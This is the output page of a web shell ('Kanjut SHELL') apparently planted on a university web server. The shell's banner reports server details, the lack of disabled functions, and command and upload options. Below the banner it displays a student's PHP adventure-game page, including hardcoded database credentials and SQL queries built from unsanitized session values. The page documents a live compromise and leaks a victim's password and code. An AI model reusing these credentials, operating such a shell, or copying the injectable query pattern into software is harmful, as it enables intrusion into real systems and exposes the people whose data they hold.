Kanjut SHELL
Server IP : 172.16.15.8  /  Your IP : 3.145.97.235
Web Server : Apache
System : Linux zeus.vwu.edu 4.18.0-553.27.1.el8_10.x86_64 #1 SMP Wed Nov 6 14:29:02 UTC 2024 x86_64
User : apache ( 48)
PHP Version : 7.2.24
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON
Directory (0755) :  /home/rlbarner/www/

[  Home  ][  C0mmand  ][  Upload File  ]

Current File : //home/rlbarner/www/waterhop3.php
<?php   session_start();
        $username = $_SESSION['username'];
        $_SESSION['username'] = $username;
        $password = $_SESSION['password'];
        $_SESSION['password'] = $password;
	
      	$fire = $_SESSION['fire'];
        $_SESSION['fire'] = $fire;
        $water = $_SESSION['water'];
        $_SESSION['water'] = $water;
        $earth = $_SESSION['earth'];
        $_SESSION['earth'] = $earth;
	
        $host = 'localhost';
        $user = 'rlbarner';
        $passwd = 'cs480';
        $database = 'rlbarner';
        $connect = mysql_connect($host, $user, $passwd);
        $table_name = 'CYOAUsers';

        $query = "SELECT * FROM $table_name WHERE Username = '$username' && Password = '$password'";
        mysql_select_db($database);
        $result = mysql_query($query, $connect);

        if(($result) && (mysql_num_rows($result) > 0))
	{	$amendq = "UPDATE $table_name SET CYOADeath = CYOADeath + 1 WHERE Username = '$username' && Password = '$password'";
                mysql_select_db($database);
                $amendr = mysql_query($amendq, $connect);
                if($amendr) 
                {
?>

<!-- Body of page STARTS HERE! -->
<HEAD><TITLE>The Water Room: Hop Thrice</TITLE>
<link rel="stylesheet" type="text/css" href="waterroom.css"></HEAD>

<HR>
<P>The glinting of the jewel seems to call to you in a cool, calm voice.  You are 
starved for social contact. </P>

<P>You coil up and spring once more, but the water pulls you down.  It covers your 
face, and you run face-first into the ceiling in your frantic attempt to stick your 
head above the water. </P>

<P>Your eyes flicker open and the water doesn't sting them.  You can make out a 
barrier in the shape of a diamond surrounding the glinting jewel. </P>

<P>Your scream erupts in your throat as bubbles jet out of your mouth and through 
your nose. </P>

<P>Your lungs crush into themselves in your chest and you let go of the remnants of 
the breath you took before hopping.  Water invades your mouth and nose, funneling 
into your lungs and filling the void space. </P>

<P>All you see is water.  All you hear is the thrashing hum of the water.  All you 
are... is water. </P>
<HR>

<P><FONT SIZE=4><B>You died!</B></FONT></P><BR><BR>

<A HREF=randomstartdirect.php>Click Here</A> to go back to the first prompt of this CYOA.<BR>
Or, you can <A HREF=cyoafrontpage.php>Click Here</A> to go back to the CYOA front page.<BR>
Or, you can <A HREF=index.html>Click Here</A> to go back to the website's front page.<BR>
<HR>
<!-- Body of page ENDS HERE! -->

<?php		
			print "<BR><FONT SIZE=2>Logged in as $username  <A HREF=cyoalogout.php>Logout</A></FONT>";
		}
	else
        {       // fail message
                print '<META HTTP-EQUIV="Refresh" Content="3; URL=cyoalogin.html">';
                print "<FONT SIZE=4 COLOR=RED><B>Error!</B> Username/password does not match any records.</FONT><BR>";
                print "You will now be redirected to the CYOA login page in 3 seconds.<BR>";
                print "If you are <B>not</B> redirected, <A HREF=cyoalogin.html>Click Here</A>.";
        }
	}
?>

Stv3n404 - 2023